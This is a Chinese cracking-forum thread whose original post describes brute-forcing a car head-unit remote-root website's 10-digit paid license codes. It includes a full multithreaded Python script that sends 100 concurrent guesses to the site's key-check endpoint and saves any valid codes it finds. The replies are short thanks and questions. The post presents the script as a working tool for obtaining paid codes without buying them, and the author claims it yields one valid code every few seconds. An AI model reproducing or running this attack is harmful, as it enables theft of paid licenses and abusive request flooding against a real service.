吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 1836|回复: 21
收起左侧

[Web逆向] 如何通过枚举法暴力破解某某车机远程root网站的授权码

  [复制链接]
bugs2000 发表于 2026-9-23 01:13
以前发过某车机root软件的破解,但是要root车机,首先要购买网站授权码进行远程root。
首先我们要知道授权码的格式。


555.png


很明显,十位纯数字组成。至于如何知道,通过弱密码探测可知。
其次我们要知道该网站校验密码的方法,这个可以通过浏览器控制台截获
https://xxxxxxxx.org/root/index.php?action=root&key={rndkey}

rndkey用我们生成的随机数代替。
网址脱敏处理,用xxx代替。


第三步我们要知道是网站如何判断授权码有效还是无效的
同样,我们通过浏览器控制台抓包分析,可以知道
无效授权码的返回值为CODE 2和CODE 3
code2是无效授权码,code3是已使用授权码。


那么就很简单了:


用一个10位随机数生成器生成随机数
多线程发送请求
判断返回值
丢弃无效随机数,有效随机数增量写入文本文件。
100线程并发,大概几秒钟出一个有效授权码。

以下是python源码,网址脱敏,仅作技术交流。



import requests
import random
import threading

# 线程数量
NUM_THREADS = 100
lock = threading.Lock()  # 线程锁,防止多个线程同时写入文件导致数据错乱

# 检测链接的函数
def check_rndkey(rndkey):
    url = f"https://xxxxxxxx.org/root/index.php?action=root&key={rndkey}"
   
    try:
        response = requests.get(url, timeout=5)  # 设置超时,防止请求卡住
        if response.status_code == 200:
            content = response.text
            if ("CODE 2]" in content) or ("CODE 3]" in content):
                return False  # 无效的rndkey
            else:
                return True  # 有效的rndkey
    except requests.RequestException:
        pass  # 网络异常时,忽略错误并继续
   
    return False  # 请求失败时返回无效

# 随机生成10位数字
def generate_random_key():
    return ''.join(str(random.randint(0, 9)) for _ in range(10))

# 将有效的rndkey写入文件(加锁以防止并发写入出错)
def write_key_to_file(rndkey):
    with lock:
        with open('key.txt', 'a') as f:
            f.write(rndkey + '\n')

# 线程任务
def worker():
    while True:
        rndkey = generate_random_key()  # 生成随机10位数字
        print(f"线程 {threading.current_thread().name} 正在检测: {rndkey}")
        
        if check_rndkey(rndkey):  # 如果有效
            print(f"找到有效的 rndkey: {rndkey}")
            write_key_to_file(rndkey)  # 写入文件

# 启动多线程
def main():
    threads = []
    for _ in range(NUM_THREADS):
        t = threading.Thread(target=worker, daemon=True)
        t.start()
        threads.append(t)

    for t in threads:
        t.join()  # 等待所有线程执行完毕(实际上是无限循环)

if __name__ == '__main__':
    main()

免费评分

参与人数 6吾爱币 +12 热心值 +6 收起 理由
涛之雨 + 7 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
confiant + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
believess + 1 + 1 谢谢@Thanks!
qn542231788 + 2 + 1 思路不错啊
外婆的铜锣湾 + 1 + 1 谢谢@Thanks!
461735945 + 1 + 1 谢谢@Thanks!

查看全部评分

发帖前要善用【论坛搜索】功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

千百度 发表于 2026-9-23 08:50
这个我感觉不是随机的,应该是时间戳+某种算法算出来的。
AE86zdm 发表于 2026-9-23 03:57
萝卜就是甜 发表于 2026-9-23 07:43
wcz8835875 发表于 2026-9-23 08:18
试试豆包好用不,
xfriend360 发表于 2026-9-23 08:44
大并发请求服务器,不拦截吗
wapj3076 发表于 2026-9-23 09:06
小白不懂。但还是顶作者!
mscsky 发表于 2026-9-23 09:14
远程root是什么原理?
haichao118 发表于 2026-9-23 09:20
学习下,但是看不太懂
dxw13920 发表于 2026-9-23 09:45
root了就跟手机一样,可以随便装APP了吗?
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - 52pojie.cn ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2026-10-16 13:44

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表